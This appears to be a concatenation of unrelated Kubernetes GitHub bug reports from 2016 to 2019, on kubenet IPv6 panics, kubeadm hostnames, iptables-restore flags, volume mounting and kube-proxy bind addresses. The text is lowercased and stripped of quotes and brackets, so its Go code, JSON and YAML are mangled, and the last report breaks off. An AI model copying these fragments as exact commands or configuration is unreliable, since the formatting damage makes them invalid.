<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r bug report\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r using kubenet with ipv6 causes a panic\r \r panic: runtime error: index out of range\r \r goroutine 625  running :\r k8s.io/kubernetes/pkg/kubelet/network/kubenet.  kubenetnetworkplugin .event 0xc4203bf440, 0x462ebd1, 0xf, 0xc4219deae0 \r /root/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/network/kubenet/kubenet_linux.go:260 +0x889\r \r this is due to ipv4 specific code in kubenet/kubenet_linux.go\r \r   what you expected to happen  :\r kubenet should support ipv6\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r running local-up-cluster.sh, use kubenet, and set the parameters\r for kubenet with ipv6\r node_cidr_args=\ --allocate-node-cidrs=true --cluster-cidr=2001:beef::/48 --node-cidr-mask-size=64 \ \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r latest as of june 26, 2017\r - cloud provider or hardware configuration  :\r local on a vm\r - os  e.g. from /etc/os-release :\r centos\r - kernel  e.g.  uname -a  :\r linux localhost.localdomain 3.10.0-514.el7.x86_64  1 smp tue nov 22 16:42:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

an interesting issue occurred to me this week, the  v1.7.0  kubeadm init cannot register itself:\r \r    \r jul 07 18:48:53 kitchen-k8s-minion kubelet 19864 : i0707 18:48:53.169167   19864 kubelet_node_status.go:82  attempting to register node kitchen-k8s-minion.novalocal\r jul 07 18:48:53 kitchen-k8s-minion kubelet 19864 : e0707 18:48:53.228445   19864 kubelet_node_status.go:106  unable to register node \ kitchen-k8s-minion.novalocal\  with api server: nodes \ kitchen-k8s-minion.novalocal\  is forbidden: node kitchen-k8s-minion cannot modify node kitchen-k8s-minion.novalocal\r    \r we are setting the   kubelet_extra_args=--hostname-override=kitchen-k8s-minion.novalocal   in   /etc/systemd/system/kubelet.service.d/20-extra-args.conf  \r \r \r checking the hostname:\r \r    \r  kitchen-k8s-minion   for f in -a -a -b -d -f -i -i -s; do echo -ne \ $f:\\t\ ; hostname $f;done\r -a:\tkitchen-k8s-minion\r -a:\tkitchen-k8s-minion\r -b:\tkitchen-k8s-minion\r -d:\tkitchen-k8s-minion\r -f:\tkitchen-k8s-minion.novalocal\r -i:\tkitchen-k8s-minion\r -i:\tkitchen-k8s-minion\r -s:\tkitchen-k8s-minion\r \r  root@kitchen-k8s-minion ~   cat /proc/sys/kernel/hostname \r kitchen-k8s-minion\r  root@kitchen-k8s-minion ~   cat /proc/sys/kernel/domainname \r  none \r  root@kitchen-k8s-minion ~   hostnamectl |head -2\r    static hostname: kitchen-k8s-minion\r          icon name: computer-vm\r    \r \r interestingly, mesos does   hostname -f   to get the fqdn as seen in https://github.com/kubernetes/kubernetes/blob/8fd414537b5143ab039cb910590237cabf4af783/vendor/github.com/mesos/mesos-go/mesosutil/node.go l17\r \r whilst the k8s does   os.hostname     only which is not getting the fqdn https://github.com/kubernetes/kubernetes/blob/95be540bd463efc8f7160f102cebca49240fe78d/pkg/util/node/node.go l48\r \r trying to see how exactly does golang make os.hostname   call:\r \r    \r  kitchen-k8s-minion   cat app.go\r package main\r \r import  \r \t\ fmt\ \r         \ os\ \r  \r \r func main   {\r         nodename, err := os.hostname  \r \tif err != nil {\r \t\tfmt.println \ couldn't determine hostname: %v\ , err \r \t}\r \tfmt.println nodename \r }\r \r  kitchen-k8s-minion   docker run --rm -v \ $pwd\ :/usr/src/myapp -w /usr/src/myapp golang:1.8 go build -v\r \r  kitchen-k8s-minion   strace -e openat ./myapp \r openat at_fdcwd, \ /proc/sys/kernel/hostname\ , o_rdonly|o_cloexec  = 3\r kitchen-k8s-minion\r +++ exited with 0 +++\r    \r \r is this expected?\r \r should not we rather use   hostname -f   as seen in the mesos example  mentioned above ?\r and it would be nice to have an option for a hostname override during kubeadm init in my opinion..\r \r this might have been also a cause for the issues similar to this one https://github.com/kubernetes/kubeadm/issues/144  where a gentleman would be expecting the fqdn or willing to set the hostname override and the kubeadm should be also respecting it.\r \r    running\r \r - kubernetes v1.7.0\r -  kitchen-k8s-minion  is an openstack instance running centos 7 with linux kernel 3.10.0\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r kube-apiserver write proxying data from client to backend failed, but not try again, cause kube-dns can not connect kubernetes service\r \r   what you expected to happen  :\r kube-apiserver write proxying data failed, cause kube-apiserver failed, then kube-apiserver will restart and try again.\r \r   how to reproduce it  as minimally and precisely as possible   :\r if the performance of machine is poor, maybe will cause this problem.\r 1. create etcd cluster first\r 2. use kubeadm to create cluster and add etcd information as option choose\r 3. use kubectl get pods -n kube-system to check all system pods status.\r \r   anything else we need to know?  :\r the performance of machine is poor, maybe this will cause etcd's performance to be poor and apiserver can't write data as expected.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r ~  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:39:33z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:27:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:none\r - os  e.g. from /etc/os-release :\r    \r ~  cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.1 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.1 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r ~  uname -a\r linux m-dev-192-168-4-113 4.4.0-101-generic  124-ubuntu smp fri nov 10 18:29:59 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:kubeadm\r - others:none\r \r 

 \r  \r when start service kube-proxy\r /var/log/message :\r i0129 19:40:03.709536   21148 iptables.go:381  running iptables-restore  -w5 -t nat --noflush --counters \r e0129 19:40:03.712093   21148 proxier.go:792  failed to execute iptables-restore for nat: exit status 1  iptables-restore: invalid option -- '5'\r iptables-restore: line 7 failed\r  \r \r and i run command\r    bash\r iptables-restore -w5\r iptables-restore: invalid option -- '5'\r    \r then run comman with arg value split by space\r    bash\r iptables-restore -w 5\r \r    \r no error output.\r i'm worried about the iptables-restore will not execute because of this error.\r please fix it, thanks a lot.\r \r   environment  :\r - kubernetes version  use  kubectl version  :v1.9.2\r - cloud provider or hardware configuration:none\r - os  e.g. from /etc/os-release :centos linux release 7.4.1708  core  \r - kernel  e.g.  uname -a  :3.10.0-693.11.6.el7.x86_64  1 smp thu jan 4 01:06:37 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: binary install\r - others:\r

see issue  6079 as the roll-up for node upgrades.  this component of the node upgrade mechanism should: - query the versions of the nodes - determine what version nodes should be - determine the subset of the nodes to upgrade - determine which version those nodes should be upgraded to - pass the results to the rest of the upgrade mechanism and continue  blocked by  4855: - a concrete definition of a node spec: a version tuple of  kubelet, kube-proxy, docker, kernel/os  - the ability to query the versions of the nodes  references: - the most relevant discussion regarding the node version spec and the allowed upgrade path is  4855. - adding node components version to the api was added in  5951.

flaky job: pr:pull-kubernetes-integration  flakes in the past week:   26    consistency:   95.60%         flakiest tests by flake count: | test | flake count | | --- | --- | | k8s.io/kubernetes/cmd/kube-apiserver/app/testing testcrd | 6 | | k8s.io/kubernetes/test/integration/deployment testrollbackdeploymentrsnorevision | 4 |    flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

 \r   what happened  :\r dynamically provisioned volumes are not deleted from the backend with quobyte due to the tenant_id parameter not being set in the plugins deleter object. log excerpt:\r error: \ invalid_arguments/posix_error_none: no valid tenant id given and no default tenant configuration available. / \ \r \r   what you expected to happen  :\r deletion of the volume in the backend\r \r   how to reproduce it  as minimally and precisely as possible   :\r run kubernetes with a quobyte storage backend, create a dynamically provisioned volume and then delete the corresponding pvc.\r \r   anything else we need to know?  :\r i'm preparing a pr for fixing this issue.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.9.7\r - cloud provider or hardware configuration:\r not relevant\r - os  e.g. from /etc/os-release :\r centos but will happen with any\r - kernel  e.g.  uname -a  :\r not relevant.\r \r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r when creating a cluster with feature gate blockvolume enabled, mounting ebs  and local  volumes time out.\r \r   what you expected to happen  :\r that volumes would attach and mount without problems  at least ebs ones that normally works fine \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a cluster with featuregate blockvolume: \ true\ \r 2. deploy a persistentset with dynamically provided ebs volumes\r 3. observe that the volume gets attached, but mounting times out\r 4. remove the blockvolume feature gate and redo the deployment - ebs volumes mount\r \r   anything else we need to know?  :\r \r i've tried with a number of images  coreos stable, debian stretch  kops image , ubuntu...  but ended up with coreos alpha because i suspected the nvme's to be the culprit. does not seem to be the case though as mounting ebs volumes works just fine without the blockvolume feature enabled.\r i've tried with kubernetes 1.10.4 as well to no avail.\r \r i've reduced my cluster to a single-az to make matters as simple as possible. this is what i see when describing the pod:\r \r pod events:\r    \r events:\r   type     reason                  age              from                                   message\r   ----     ------                  ----             ----                                   -------\r   warning  failedscheduling        2m  x2 over 2m   default-scheduler                      pod has unbound persistentvolumeclaims  repeated 5 times \r   normal   scheduled               2m               default-scheduler                      successfully assigned solr-local-zookeeper-0 to ip-172-20-59-36.ec2.internal\r   normal   successfulmountvolume   2m               kubelet, ip-172-20-59-36.ec2.internal  mountvolume.setup succeeded for volume \ default-token-vcsff\ \r   warning  failedattachvolume      2m  x3 over 2m   attachdetach-controller                attachvolume.attach failed for volume \ pvc-198a9ce3-7861-11e8-a993-0ac9cdbae982\  : \ error attaching ebs volume \\\ vol-0df2b870e56638565\\\ \  to instance \ i-0827b6cb92bc6dd0c\  since volume is in \ creating\  state\r   normal   successfulattachvolume  2m               attachdetach-controller                attachvolume.attach succeeded for volume \ pvc-198a9ce3-7861-11e8-a993-0ac9cdbae982\ \r   warning  failedmount             24s              kubelet, ip-172-20-59-36.ec2.internal  unable to mount volumes for pod \ solr-local-zookeeper-0_default 198b3d92-7861-11e8-a993-0ac9cdbae982 \ : timeout expired waiting for volumes to attach or mount for pod \ default\ /\ solr-local-zookeeper-0\ . list of unmounted volumes= datadir . list of unattached volumes= datadir default-token-vcsff \r    \r \r describe of node:\r    \r name:               ip-172-20-59-36.ec2.internal\r roles:              node\r labels:             beta.kubernetes.io/arch=amd64\r                     beta.kubernetes.io/instance-type=m4.2xlarge\r                     beta.kubernetes.io/os=linux\r                     failure-domain.beta.kubernetes.io/region=us-east-1\r                     failure-domain.beta.kubernetes.io/zone=us-east-1c\r                     kubernetes.io/hostname=ip-172-20-59-36.ec2.internal\r                     kubernetes.io/role=node\r                     node-role.kubernetes.io/node=\r                     nodetype=zookeeper\r annotations:        node.alpha.kubernetes.io/ttl=0\r                     volumes.kubernetes.io/controller-managed-attach-detach=true\r creationtimestamp:  mon, 25 jun 2018 12:13:51 +0200\r taints:             <none>\r unschedulable:      false\r conditions:\r   type                 status  lastheartbeattime                 lasttransitiontime                reason                       message\r   ----                 ------  -----------------                 ------------------                ------                       -------\r   networkunavailable   false   mon, 25 jun 2018 12:13:59 +0200   mon, 25 jun 2018 12:13:59 +0200   routecreated                 routecontroller created a route\r   outofdisk            false   mon, 25 jun 2018 12:26:22 +0200   mon, 25 jun 2018 12:13:51 +0200   kubelethassufficientdisk     kubelet has sufficient disk space available\r   memorypressure       false   mon, 25 jun 2018 12:26:22 +0200   mon, 25 jun 2018 12:13:51 +0200   kubelethassufficientmemory   kubelet has sufficient memory available\r   diskpressure         false   mon, 25 jun 2018 12:26:22 +0200   mon, 25 jun 2018 12:13:51 +0200   kubelethasnodiskpressure     kubelet has no disk pressure\r   pidpressure          false   mon, 25 jun 2018 12:26:22 +0200   mon, 25 jun 2018 12:13:51 +0200   kubelethassufficientpid      kubelet has sufficient pid available\r   ready                true    mon, 25 jun 2018 12:26:22 +0200   mon, 25 jun 2018 12:14:11 +0200   kubeletready                 kubelet is posting ready status\r addresses:\r   internalip:   172.20.59.36\r   externalip:   34.228.155.210\r   internaldns:  ip-172-20-59-36.ec2.internal\r   externaldns:  ec2-34-228-155-210.compute-1.amazonaws.com\r   hostname:     ip-172-20-59-36.ec2.internal\r capacity:\r  cpu:                8\r  ephemeral-storage:  127617744ki\r  hugepages-1gi:      0\r  hugepages-2mi:      0\r  memory:             32941588ki\r  pods:               110\r allocatable:\r  cpu:                8\r  ephemeral-storage:  117612512676\r  hugepages-1gi:      0\r  hugepages-2mi:      0\r  memory:             32839188ki\r  pods:               110\r system info:\r  machine id:                 51701843393f49af9e4c71639720eebd\r  system uuid:                ec23433b-393e-77d0-21a9-0322c7d38e14\r  boot id:                    0c51ef1b-437c-4fc7-942d-ce78a2418152\r  kernel version:             4.16.16-coreos\r  os image:                   container linux by coreos 1814.0.0  rhyolite \r  operating system:           linux\r  architecture:               amd64\r  container runtime version:  docker://18.5.0\r  kubelet version:            v1.10.3\r  kube-proxy version:         v1.10.3\r podcidr:                     100.96.2.0/24\r externalid:                  i-0827b6cb92bc6dd0c\r providerid:                  aws:///us-east-1c/i-0827b6cb92bc6dd0c\r non-terminated pods:          4 in total \r   namespace                  name                                       cpu requests  cpu limits  memory requests  memory limits\r   ---------                  ----                                       ------------  ----------  ---------------  -------------\r   default                    sematext-agent-v4mgh                       100m  1%      0  0%       0  0%            0  0% \r   default                    solr-local-zookeeper-0                     2  25%        2  25%      4gi  12%         4gi  12% \r   kube-system                kube-dns-autoscaler-6874c546dd-mnk4f       20m  0%       0  0%       10mi  0%         0  0% \r   kube-system                kube-proxy-ip-172-20-59-36.ec2.internal    100m  1%      0  0%       0  0%            0  0% \r allocated resources:\r    total limits may be over 100 percent, i.e., overcommitted. \r   cpu requests  cpu limits  memory requests  memory limits\r   ------------  ----------  ---------------  -------------\r   2220m  27%    2  25%      4106mi  12%      4gi  12% \r events:\r   type    reason                   age   from                                      message\r   ----    ------                   ----  ----                                      -------\r   normal  starting                 12m   kubelet, ip-172-20-59-36.ec2.internal     starting kubelet.\r   normal  nodehassufficientdisk    12m   kubelet, ip-172-20-59-36.ec2.internal     node ip-172-20-59-36.ec2.internal status is now: nodehassufficientdisk\r   normal  nodehassufficientmemory  12m   kubelet, ip-172-20-59-36.ec2.internal     node ip-172-20-59-36.ec2.internal status is now: nodehassufficientmemory\r   normal  nodehasnodiskpressure    12m   kubelet, ip-172-20-59-36.ec2.internal     node ip-172-20-59-36.ec2.internal status is now: nodehasnodiskpressure\r   normal  nodehassufficientpid     12m   kubelet, ip-172-20-59-36.ec2.internal     node ip-172-20-59-36.ec2.internal status is now: nodehassufficientpid\r   normal  nodeallocatableenforced  12m   kubelet, ip-172-20-59-36.ec2.internal     updated node allocatable limit across pods\r   normal  nodeready                12m   kubelet, ip-172-20-59-36.ec2.internal     node ip-172-20-59-36.ec2.internal status is now: nodeready\r   normal  starting                 12m   kube-proxy, ip-172-20-59-36.ec2.internal  starting kube-proxy.\r    \r \r   environment  :\r \r the kops cluster config:\r    \r apiversion: kops/v1alpha2\r kind: cluster\r metadata:\r   creationtimestamp: 2018-06-25t07:22:53z\r   name: solr-prod.k8s.uber-research.com\r spec:\r   additionalpolicies:\r     master: |\r        \r         {\ effect\ : \ allow\ ,\r          \ action\ :  \r            \ ec2:attachvolume\ ,\r            \ ec2:detachvolume\ \r           ,\r          \ resource\ : \  \ \r         }\r        \r     node: |\r        \r         { \ effect\ : \ allow\ ,\r           \ action\ :  \r             \ autoscaling:describeautoscalinggroups\ ,\r             \ autoscaling:describeautoscalinginstances\ ,\r             \ autoscaling:describetags\ ,\r             \ autoscaling:describelaunchconfigurations\ ,\r             \ autoscaling:setdesiredcapacity\ ,\r             \ autoscaling:terminateinstanceinautoscalinggroup\ \r            ,\r           \ resource\ : \  \ \r         }\r        \r   api:\r     dns: {}\r   authorization:\r     rbac: {}\r   channel: stable\r   cloudprovider: aws\r   configbase: s3://com.uberresearch.kops/solr-prod.k8s.uber-research.com\r   etcdclusters:\r   - etcdmembers:\r     - instancegroup: master-us-east-1c\r       name: c\r     name: main\r   - etcdmembers:\r     - instancegroup: master-us-east-1c\r       name: c\r     name: events\r   iam:\r     allowcontainerregistry: true\r     legacy: false\r   kubelet:\r     featuregates:\r       blockvolume: \ true\ \r   kubernetesapiaccess:\r   - 0.0.0.0/0\r   kubernetesversion: 1.10.3\r   masterinternalname: api.internal.solr-prod.k8s.uber-research.com\r   masterpublicname: api.solr-prod.k8s.uber-research.com\r   networkcidr: 172.20.0.0/16\r   networking:\r     kubenet: {}\r   nonmasqueradecidr: 100.64.0.0/10\r   sshaccess:\r   - 0.0.0.0/0\r   subnets:\r   - cidr: 172.20.32.0/19\r     name: us-east-1c\r     type: public\r     zone: us-east-1c\r   topology:\r     dns:\r       type: public\r     masters: public\r     nodes: public\r    \r \r - kubernetes version  use  kubectl version  :\r 1.10.3\r - cloud provider or hardware configuration:\r aws\r \r - os  e.g. from /etc/os-release :\r container linux by coreos 1814.0.0  rhyolite \r \r - kernel  e.g.  uname -a  :\r 4.16.16-coreos\r \r - install tools:\r kops  1.10.0-alpha1 \r \r - others:\r let me know what info might be missing. with a little direction i would be interested in helping out with this as well...

running  kubectl delete apiservice v1beta1.external.metrics.k8s.io  freezes.\r \r this is also causing custom metrics hpa e2e tests to fail in teardown: https://k8s-testgrid.appspot.com/sig-autoscaling-hpa gci-gce-autoscaling-hpa\r \r cc @kawych @maciekpytel

<!-- \r stop -- please read!\r \r github is not the right place for support requests.\r \r if you're looking for help, check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r you can also post your question on the  kubernetes slack  http://slack.k8s.io/  or the  discuss kubernetes  https://discuss.kubernetes.io/  forum.\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r

what happened  : kube-proxy does not apparently understand ipv6 addressing for healthzbindaddress and metricsbindaddress.\r \r   what you expected to happen  : kube-proxy to start without issue, binding as requested to ipv6.\r \r   how to reproduce it  as minimally and precisely as possible   : see below.\r \r   anything else we need to know?  : i'm using kubeadm to test and i removed the ipv4 addresses from all interfaces except  lo   127.0.0.1 .\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.14.0\r - cloud provider or hardware configuration: n/a\r - os  e.g:  cat /etc/os-release  : 18.04.1 lts  bionic beaver \r - kernel  e.g.  uname -a  : linux vagrant 4.15.0-29-generic  31-ubuntu smp tue jul 17 15:39:52 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: \r \r    \r ii  docker-ce                             5:18.09.4~3-0~ubuntu-bionic       amd64        docker: the open-source application container engine\r ii  docker-ce-cli                         5:18.09.4~3-0~ubuntu-bionic       amd64        docker cli: the open-source application container engine\r    \r \r related: https://github.com/kubernetes/kubernetes/issues/62479 issuecomment-480992586\r \r in an ipv6-only scenario of kubernetes...\r \r    \r kubeadm version: &version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.0\ , gitcommit:\ 641856db18352033a0d96dbc99153fa3b27298e5\ , gittreestate:\ clean\ , builddate:\ 2019-03-25t15:51:21z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r    \r apiversion: kubeproxy.config.k8s.io/v1alpha1\r kind: kubeproxyconfiguration\r mode: \ iptables\ \r healthzbindaddress: \ ::\ \r metricsbindaddress: \ ::1\ \r    \r results in:\r \r    \r  kubeproxyconfiguration.healthzbindaddress: invalid value: \ ::\ : must be ip:port, kubeproxyconfiguration.metricsbindaddress: invalid value: \ ::1\ : must be ip:port \r    \r

reflect.value.call, once we're switched to proto for both storage and api, still is the largest allocator.  we should add fast path methods for at least some of the below to 1.3  this is from an e2e run :          125541  8.40%  8.40%     128583  8.60%  reflect.value.call      98304  6.57% 14.97%      98304  6.57%  k8s.io/kubernetes/vendor/github.com/ugorji/go/codec.  jsondecdriver .decodebytes      65536  4.38% 19.35%      65536  4.38%  k8s.io/kubernetes/pkg/api/v1.  containerimage .unmarshal      60075  4.02% 23.37%      60075  4.02%  strings.gensplit      56433  3.77% 27.15%      56433  3.77%  reflect.  structtype .fieldbynamefunc      51750  3.46% 30.61%      51750  3.46%  reflect.unsafe_new      43692  2.92% 33.53%      45796  3.06%  net/url.parsequery      37319  2.50% 36.03%      37319  2.50%  k8s.io/kubernetes/pkg/api/v1.  objectmeta .unmarshal      34257  2.29% 38.32%      46605  3.12%  k8s.io/kubernetes/vendor/github.com/coreos/etcd/client.  setaction .httprequest      33792  2.26% 40.58%     132096  8.83%  k8s.io/kubernetes/pkg/api/v1.  nodestatus .unmarshal      32768  2.19% 42.77%      43691  2.92%  fmt.  pp .handlemethods      32768  2.19% 44.96%      32768  2.19%  k8s.io/kubernetes/pkg/api.namespacefrom      32768  2.19% 47.15%      32768  2.19%  k8s.io/kubernetes/pkg/api/resource.  quantity .string      32768  2.19% 49.34%      32768  2.19%  k8s.io/kubernetes/pkg/api/v1.  nodecondition .unmarshal      32768  2.19% 51.54%      32768  2.19%  k8s.io/kubernetes/pkg/conversion.stringmapadaptor.value      32768  2.19% 53.73%      32768  2.19%  net/http.  chunkwriter .write      32768  2.19% 55.92%      37236  2.49%  net/http.  persistconn .roundtrip      distribution of callcustom  which is the source of reflect.value           103 callcustom:  v1beta1.deployment func  v1beta1.deployment,  extensions.deployment, conversion.scope  error     114 callcustom:  v1.rangeallocation func  v1.rangeallocation,  api.rangeallocation, conversion.scope  error     120 callcustom:  v1.serviceproxyoptions func  v1.serviceproxyoptions,  api.serviceproxyoptions, conversion.scope  error     128 callcustom:  v1beta1.replicaset func  v1beta1.replicaset,  extensions.replicaset, conversion.scope  error     132 callcustom:  extensions.replicaset func  extensions.replicaset,  v1beta1.replicaset, conversion.scope  error     215 callcustom:  api.podlist func  api.podlist,  v1.podlist, conversion.scope  error     234 callcustom:  v1.serviceaccount func  v1.serviceaccount,  api.serviceaccount, conversion.scope  error     241 callcustom:  api.objectmeta func  api.objectmeta,  v1.objectmeta, conversion.scope  error     258 callcustom:  api.serviceaccount func  api.serviceaccount,  v1.serviceaccount, conversion.scope  error     262 callcustom:  v1.objectmeta func  v1.objectmeta,  api.objectmeta, conversion.scope  error     344 callcustom:  intstr.intorstring func  intstr.intorstring,  intstr.intorstring, conversion.scope  error     354 callcustom:    string func    string,  int64, conversion.scope  error     548 callcustom:  v1.listoptions func  v1.listoptions,  api.listoptions, conversion.scope  error     616 callcustom:  api.nodelist func  api.nodelist,  v1.nodelist, conversion.scope  error     809 callcustom:    string func    string,  string, conversion.scope  error     901 callcustom:  api.secret func  api.secret,  v1.secret, conversion.scope  error     910 callcustom:  v1.secret func  v1.secret,  api.secret, conversion.scope  error      @wojtek-t i want to fix a few of these for 1.3 since it's low risk.

os: coreos stable  1068.10.0  kubelet: quay.io/coreos/hyperkube:v1.3.6_coreos.0  interesting issue, i have a prometheus deployment with a pvc ebs volume - 400gb.  the volume is attached but is not mounted:      core@ip-10-66-31-165 ~ $ lsblk name    maj:min   rm  size ro type mountpoint xvda    202:0      0   52g  0 disk |-xvda1 202:1      0  128m  0 part /boot |-xvda2 202:2      0    2m  0 part |-xvda3 202:3      0    1g  0 part /usr |-xvda4 202:4      0    1g  0 part |-xvda6 202:6      0  128m  0 part /usr/share/oem |-xvda7 202:7      0   64m  0 part  -xvda9 202:9      0 49.7g  0 part / xvdba   202:13312  0   20g  0 disk /var/lib/kubelet/pods/3c32c00a-75b0-11e6-aa52-063165fd7393/volumes/kubernetes.io~aws-ebs/pvc-f884ac4b-5d51-11e6-94d4-02fe9eee2d51 xvdbb   202:13568  0  400g  0 disk       df  on the machine      core@ip-10-66-31-165 ~ $ sudo df -kht filesystem     type      size  used avail use% mounted on devtmpfs       devtmpfs  3.9g     0  3.9g   0% /dev tmpfs          tmpfs     3.9g     0  3.9g   0% /dev/shm tmpfs          tmpfs     3.9g  2.0m  3.9g   1% /run tmpfs          tmpfs     3.9g     0  3.9g   0% /sys/fs/cgroup /dev/xvda9     ext4       49g  9.0g   38g  20% / /dev/xvda3     ext4      985m  624m  310m  67% /usr /dev/xvda1     vfat      128m   38m   90m  30% /boot tmpfs          tmpfs     3.9g     0  3.9g   0% /tmp tmpfs          tmpfs     3.9g     0  3.9g   0% /media /dev/xvda6     ext4      108m   64k   99m   1% /usr/share/oem overlay        overlay    49g  9.0g   38g  20% /var/lib/rkt/pods/run/97963c99-2e18-4982-be42-d65e7c7e8265/stage1/rootfs overlay        overlay    49g  9.0g   38g  20% /var/lib/rkt/pods/run/97963c99-2e18-4982-be42-d65e7c7e8265/stage1/rootfs/opt/stage2/hyperkube/rootfs tmpfs          tmpfs     3.9g     0  3.9g   0% /var/lib/rkt/pods/run/97963c99-2e18-4982-be42-d65e7c7e8265/stage1/rootfs/opt/stage2/hyperkube/rootfs/tmp tmpfs          tmpfs     3.9g   12k  3.9g   1% /var/lib/kubelet/pods/902a52e1-75a9-11e6-aa52-063165fd7393/volumes/kubernetes.io~secret/default-token-zon4r tmpfs          tmpfs     3.9g   12k  3.9g   1% /var/lib/kubelet/pods/902a1593-75a9-11e6-aa52-063165fd7393/volumes/kubernetes.io~secret/default-token-zon4r tmpfs          tmpfs     3.9g   12k  3.9g   1% /var/lib/kubelet/pods/9034b7f9-75a9-11e6-aa52-063165fd7393/volumes/kubernetes.io~secret/default-token-zon4r /dev/xvdba     ext4       20g  7.8g   11g  42% /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/eu-west-1b/vol-be33854b tmpfs          tmpfs     3.9g   12k  3.9g   1% /var/lib/kubelet/pods/7f33be6f-75ad-11e6-aa52-063165fd7393/volumes/kubernetes.io~secret/default-token-zon4r tmpfs          tmpfs     3.9g   12k  3.9g   1% /var/lib/kubelet/pods/19c0d8aa-75ae-11e6-aa52-063165fd7393/volumes/kubernetes.io~secret/default-token-zon4r tmpfs          tmpfs     3.9g   12k  3.9g   1% /var/lib/kubelet/pods/19b686f6-75ae-11e6-aa52-063165fd7393/volumes/kubernetes.io~secret/default-token-zon4r tmpfs          tmpfs     3.9g   12k  3.9g   1% /var/lib/kubelet/pods/19d4f7c8-75ae-11e6-aa52-063165fd7393/volumes/kubernetes.io~secret/default-token-zon4r tmpfs          tmpfs     3.9g   12k  3.9g   1% /var/lib/kubelet/pods/1a07819f-75ae-11e6-aa52-063165fd7393/volumes/kubernetes.io~secret/default-token-zon4r tmpfs          tmpfs     3.9g   12k  3.9g   1% /var/lib/kubelet/pods/19efc7dc-75ae-11e6-aa52-063165fd7393/volumes/kubernetes.io~secret/default-token-zon4r tmpfs          tmpfs     3.9g   12k  3.9g   1% /var/lib/kubelet/pods/1a24c222-75ae-11e6-aa52-063165fd7393/volumes/kubernetes.io~secret/default-token-zon4r tmpfs          tmpfs     3.9g   12k  3.9g   1% /var/lib/kubelet/pods/55c20d83-75ae-11e6-aa52-063165fd7393/volumes/kubernetes.io~secret/default-token-zon4r tmpfs          tmpfs     3.9g   12k  3.9g   1% /var/lib/kubelet/pods/5610f25c-75ae-11e6-aa52-063165fd7393/volumes/kubernetes.io~secret/default-token-3l2jv tmpfs          tmpfs     3.9g   12k  3.9g   1% /var/lib/kubelet/pods/56350769-75ae-11e6-aa52-063165fd7393/volumes/kubernetes.io~secret/default-token-0uiot tmpfs          tmpfs     3.9g   12k  3.9g   1% /var/lib/kubelet/pods/562610aa-75ae-11e6-aa52-063165fd7393/volumes/kubernetes.io~secret/default-token-7eb11 tmpfs          tmpfs     3.9g   12k  3.9g   1% /var/lib/kubelet/pods/3c32c00a-75b0-11e6-aa52-063165fd7393/volumes/kubernetes.io~secret/default-token-zon4r tmpfs          tmpfs     3.9g   12k  3.9g   1% /var/lib/kubelet/pods/3c606fde-75b0-11e6-aa52-063165fd7393/volumes/kubernetes.io~secret/default-token-zon4r tmpfs          tmpfs     3.9g  4.0k  3.9g   1% /var/lib/kubelet/pods/3c606fde-75b0-11e6-aa52-063165fd7393/volumes/kubernetes.io~secret/uw-service-billing-secrets-volume tmpfs          tmpfs     799m     0  799m   0% /run/user/500      and i can see some failed mount services:      failed units: 3   var-lib-kubelet-plugins-kubernetes.io-aws\\x2debs-mounts-aws-eu\\x2dwest\\x2d1b-vol\\x2d7e79f78b.mount   var-lib-kubelet-pods-0c294ad5\\x2d75aa\\x2d11e6\\x2daa52\\x2d063165fd7393-volumes-kubernetes.io\\x7eaws\\x2debs-pvc\\x2df884ac4b\\x2d5d51\\x2d11e6\\x2d94d4\\x2d02fe9eee2d51.mount   